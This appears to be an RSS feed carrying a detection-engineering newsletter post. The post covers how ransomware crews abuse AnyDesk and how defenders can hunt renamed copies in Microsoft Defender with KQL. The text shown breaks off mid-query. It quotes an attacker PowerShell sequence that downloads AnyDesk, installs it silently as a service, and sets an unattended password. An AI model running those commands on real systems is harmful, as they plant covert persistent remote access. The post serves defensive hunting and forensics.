<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Securityinbits]]></title><description><![CDATA[Detection engineering, threat hunting, and malware analysis for defenders who want to understand how things work, not just which button to click. One bit at a time.]]></description><link>https://newsletter.securityinbits.com</link><image><url>https://substackcdn.com/image/fetch/$s_!OffF!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83e98171-ed60-4bc6-aea5-1ae7e6519358_1280x1280.png</url><title>Securityinbits</title><link>https://newsletter.securityinbits.com</link></image><generator>Substack</generator><lastBuildDate>Tue, 15 Sep 2026 18:11:16 GMT</lastBuildDate><atom:link href="https://newsletter.securityinbits.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Securityinbits]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[securityinbits@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[securityinbits@substack.com]]></itunes:email><itunes:name><![CDATA[Ayush Anand]]></itunes:name></itunes:owner><itunes:author><![CDATA[Ayush Anand]]></itunes:author><googleplay:owner><![CDATA[securityinbits@substack.com]]></googleplay:owner><googleplay:email><![CDATA[securityinbits@substack.com]]></googleplay:email><googleplay:author><![CDATA[Ayush Anand]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[32 Ransomware Groups Abuse AnyDesk. Your EDR Sees a Legit Tool]]></title><description><![CDATA[Is That AnyDesk Legit or Planted? A Lab-Validated Hunt]]></description><link>https://newsletter.securityinbits.com/p/32-ransomware-groups-abuse-anydesk</link><guid isPermaLink="false">https://newsletter.securityinbits.com/p/32-ransomware-groups-abuse-anydesk</guid><dc:creator><![CDATA[Ayush Anand]]></dc:creator><pubDate>Wed, 29 Jul 2026 12:00:24 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/74d6dbf7-5ac6-4b55-aa41-6420bdde2e21_1200x630.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><code>invoice_viewer.exe</code> ran from a user&#8217;s Temp folder. It was not an invoice viewer. Every version-info field on it read AnyDesk: company AnyDesk Software GmbH, product AnyDesk, description AnyDesk. Microsoft Defender had noticed, the way it usually does: a Medium alert, &#8220;Uncommon remote access software.&#8221; The alert sat in the queue until someone glanced at it, read &#8220;remote access software,&#8221; thought <em>probably IT</em>, and closed it.</p><p>That is the whole problem in one line.</p><p>AnyDesk appears in more ransomware toolsets than any other remote-access tool. 32 groups in the <a href="https://github.com/BushidoUK/Ransomware-Tool-Matrix/blob/main/Tools/RMM-Tools.md">Ransomware Tool Matrix</a>, the longest row in the table by a wide margin. Akira is one of the 32, confirmed by CISA in <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a">AA24-109A</a>, and Akira intrusions have gone from initial access to encryption in under four hours. Fog uses it too. It is signed, it is legitimate, and that is exactly why it works: your tooling sees a real tool doing a real thing.</p><p>That Medium only exists because AnyDesk is rare in your tenant; in a shop that actually runs AnyDesk, even that signal is gone. So the alert, when you get one, tells you AnyDesk is present. It does not tell you whether it is your help desk or your attacker. The answer is in the tool&#8217;s own behavior and the files it writes to disk, and it is the point of this piece.</p><p>I ran AnyDesk in my lab the way ransomware crews run it, both the attended fake-IT-call version and the unattended service install Fog deploys, tested every query below in MDE, and pulled the forensic artifacts by hand.</p><p>By the end you will hunt AnyDesk by behavior instead of filename, and tell legit from planted in minutes. And if it is planted, you will know exactly which files name the operator, and how to grab them before a reimage erases them. Start with how it lands, because that decides what you hunt for and what you collect.</p><h2>How AnyDesk lands: two ways, and the split decides everything</h2><p>Get this wrong and you go hunting for artifacts that were never written. AnyDesk lands on a machine two ways, and each leaves a different set of evidence, so before you write a single query you need to know which one you are looking at. I ran both in the lab so you do not have to.</p><h3>The attended way (non-admin, portable)</h3><p>The operator talks a user into running a portable AnyDesk out of their own profile. No install, no admin. In my lab it arrived as <code>Invoice_Viewer.exe</code>, dropped into <code>%TEMP%</code> (<code>C:\Users\&lt;user&gt;\AppData\Local\Temp</code>), and launched straight from there. The operator dials the victim&#8217;s AnyDesk ID, and the victim has to click <strong>Accept</strong> for the session to open. This is the vishing variant: &#8220;I&#8217;m from IT, run this so I can fix your machine.&#8221; Because nothing is installed and nothing is elevated, it keeps its config and trace files under <code>%APPDATA%\AnyDesk\</code> and writes no registry persistence at all.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nLd7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nLd7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 424w, https://substackcdn.com/image/fetch/$s_!nLd7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 848w, https://substackcdn.com/image/fetch/$s_!nLd7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 1272w, https://substackcdn.com/image/fetch/$s_!nLd7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nLd7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png" width="688" height="512" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:512,&quot;width&quot;:688,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:47541,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nLd7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 424w, https://substackcdn.com/image/fetch/$s_!nLd7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 848w, https://substackcdn.com/image/fetch/$s_!nLd7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 1272w, https://substackcdn.com/image/fetch/$s_!nLd7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F744d7d6f-ebde-4349-b048-fd957dd287f0_688x512.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>The attended session cannot open until the victim clicks Accept; this prompt is the whole social-engineering step.</em></p><h3>The unattended way (admin, service)</h3><p>This is how Fog and most ransomware crews deploy it, after they already hold local admin. The DFIR Report&#8217;s <a href="https://thedfirreport.com/2025/04/28/navigating-through-the-fog/">&#8220;Navigating Through the Fog&#8221;</a> documents the exact sequence, automated by a PowerShell script (<code>any.ps1</code>): make the folder, download the binary, install it as a service, then set an unattended password by piping it in.</p><pre><code><code>mkdir "C:\ProgramData\AnyDesk"
(new-object System.Net.WebClient).DownloadFile('http://download[.]anydesk[.]com/AnyDesk.exe','C:\ProgramData\AnyDesk.exe')
C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
echo Admin#123 | C:\ProgramData\anydesk.exe --set-password</code></code></pre><p>Now the operator connects with that password and nobody clicks anything. The session just opens. It registers a service (<code>HKLM\...\Services\AnyDesk</code>, <code>Automatic</code> start), writes its trace under <code>%PROGRAMDATA%\AnyDesk\</code>, and survives every reboot. That is persistence, not a phone call.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yzWq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yzWq!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 424w, https://substackcdn.com/image/fetch/$s_!yzWq!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 848w, https://substackcdn.com/image/fetch/$s_!yzWq!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 1272w, https://substackcdn.com/image/fetch/$s_!yzWq!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yzWq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png" width="1090" height="342" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:342,&quot;width&quot;:1090,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:63693,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yzWq!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 424w, https://substackcdn.com/image/fetch/$s_!yzWq!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 848w, https://substackcdn.com/image/fetch/$s_!yzWq!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 1272w, https://substackcdn.com/image/fetch/$s_!yzWq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9aa12895-d242-4653-81c1-1700ec4c69af_1090x342.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7qWa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7qWa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 424w, https://substackcdn.com/image/fetch/$s_!7qWa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 848w, https://substackcdn.com/image/fetch/$s_!7qWa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 1272w, https://substackcdn.com/image/fetch/$s_!7qWa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7qWa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png" width="1099" height="501" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:501,&quot;width&quot;:1099,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:148223,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7qWa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 424w, https://substackcdn.com/image/fetch/$s_!7qWa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 848w, https://substackcdn.com/image/fetch/$s_!7qWa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 1272w, https://substackcdn.com/image/fetch/$s_!7qWa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F81ec4e6a-1e01-460a-9101-39ed6bb23269_1099x501.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>The split in one frame: left still waiting on Accept, right already connected under an &#8220;Unattended Access&#8221; profile.</em></p><p>Hold onto the two trace paths in that table, because they decide where you look later: search the wrong one and you will conclude there is no evidence when there is. And the split is the spine of the whole piece: a password set from the command line plus a service that survives reboot is persistence, the ransomware path; a user clicking Accept on a portable is social engineering, the phishing path.</p><p>Now that you know what it does on the box, here is how to find it in MDE without trusting the one thing the attacker controls: the filename.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://newsletter.securityinbits.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><h2>Hunt it in MDE: stop trusting the filename</h2><p>The attacker&#8217;s first move against your detections is the laziest one that works: rename the binary. <code>AnyDesk.exe</code> becomes <code>Invoice_Viewer.exe</code>, and every rule keyed on <code>FileName == "anydesk.exe"</code> goes quiet. So you stop hunting the name and hunt what the attacker did not bother to change.</p><h3>The field that fires on nothing</h3><p>Here is where I burned myself, and it is worth two minutes because it is the exact mistake that ships a dead rule.</p><p>The renamed binary still carries AnyDesk&#8217;s PE version-info. My instinct was to harden onto <code>OriginalFileName</code>, the field that is supposed to survive a rename because it is compiled into the PE. I wrote the rule, pointed it at real lab telemetry, and it matched nothing. Zero rows.</p><p>AnyDesk does not populate <code>OriginalFileName</code>. It is empty. The field everyone reaches for first is the one field AnyDesk leaves blank, and a rule built on it fires on nothing while looking perfectly reasonable in review. The three fields that are populated, and do survive the rename:</p><ul><li><p><code>CompanyName</code> = &#8220;AnyDesk Software GmbH&#8221;</p></li><li><p><code>ProductName</code> = &#8220;AnyDesk&#8221;</p></li><li><p><code>FileDescription</code> = &#8220;AnyDesk&#8221;</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8GoO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8GoO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 424w, https://substackcdn.com/image/fetch/$s_!8GoO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 848w, https://substackcdn.com/image/fetch/$s_!8GoO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 1272w, https://substackcdn.com/image/fetch/$s_!8GoO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8GoO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png" width="464" height="294" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:294,&quot;width&quot;:464,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:20323,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8GoO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 424w, https://substackcdn.com/image/fetch/$s_!8GoO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 848w, https://substackcdn.com/image/fetch/$s_!8GoO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 1272w, https://substackcdn.com/image/fetch/$s_!8GoO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Right-click Properties on </em><code>Invoice_Viewer.exe</code><em>: File description AnyDesk, Product name AnyDesk, Copyright AnyDesk Software GmbH. The rename never touched the fields that matter.</em></p><p>If you started from the SigmaHQ AnyDesk rules, you were already safe, because they key on exactly those three. The lesson is about the field, not Sigma: before you bet a detection on a PE field, confirm your binary actually sets it. Validate on real telemetry, or you ship a rule that quietly never fires.</p><h3>1. Identity: what the rename could not change</h3><p>Here is the working hunt: rename-proof identity, restricted to the user-writable paths where a portable remote-management (RMM) tool has no business running.</p><pre><code><code>DeviceProcessEvents
| where Timestamp &gt; ago(1d)
// rename-proof AnyDesk identity - OriginalFileName is EMPTY for AnyDesk, do NOT use it
| where ProcessVersionInfoCompanyName == "AnyDesk Software GmbH"
    or ProcessVersionInfoProductName == "AnyDesk"
    or ProcessVersionInfoFileDescription == "AnyDesk"
| where FolderPath contains @"\Users\" or FolderPath contains @"\Downloads\"
    or FolderPath contains @"\AppData\" or FolderPath contains @"\Temp\"
    or FolderPath contains @"\ProgramData\" or FolderPath contains @"\Public\"
